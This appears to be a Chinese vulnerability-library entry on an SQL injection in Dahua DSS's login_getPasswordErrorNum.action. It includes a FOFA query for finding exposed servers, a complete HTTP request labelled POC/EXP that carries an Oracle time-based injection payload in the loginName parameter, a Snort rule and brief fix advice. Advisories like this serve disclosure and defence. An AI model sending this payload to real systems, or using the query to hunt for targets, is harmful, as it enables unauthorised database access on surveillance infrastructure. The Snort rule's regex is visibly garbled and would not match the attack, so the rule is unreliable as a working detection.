

大华DSS平安城市

login_getPasswordErrorNum.action SQL注入漏洞

大华DSS平安城市 login_getPasswordErrorNum.action SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

大华DSS

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="itc/login_init.action"

POC/EXP:

```
GET /itc/%7BappPath%7D/login_getPasswordErrorNum.action?
userBean.loginName=admin%27%2F%2A%2A%2FAND%2F%2A%2A%2F9434%3DDBMS_PIPE.RECEIVE_ME
SSAGE%28CHR%2881%29%7C%7CCHR%2876%29%7C%7CCHR%2872%29%7C%7CCHR%2889%29%2C5%29%2F%
2A%2A%2FAND%2F%2A%2A%2F%27FsQC%27%3D%27FsQC&userBean.loginPass=123456&_=169379771
7346 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0)
Gecko/20100101 Firefox/117.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-with: XMLHttpRequest
Connection: close
```



sonrt规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Dahua DSS - Oracle Time-Based SQLi in login_getPasswordErrorNum.action";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/itc/"; http_uri;
    content:"login_getPasswordErrorNum.action"; http_uri;
    content:"userBean.loginName="; http_uri;
    pcre:"/userBean\\.loginName=
[^&*'\\"/*%\/AND\\\'*\\"/\d+=DBMS_PIPE\.RECEIVE_MESSAGE\(/i";
    metadata:service http;
    metadata:affected_product "大华DSS平安城市系统";
    metadata:vulnerability_type "Oracle Time-Based SQL Injection";
    classtype:sql-injection;
    sid:1000398;
    rev:1;
    priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。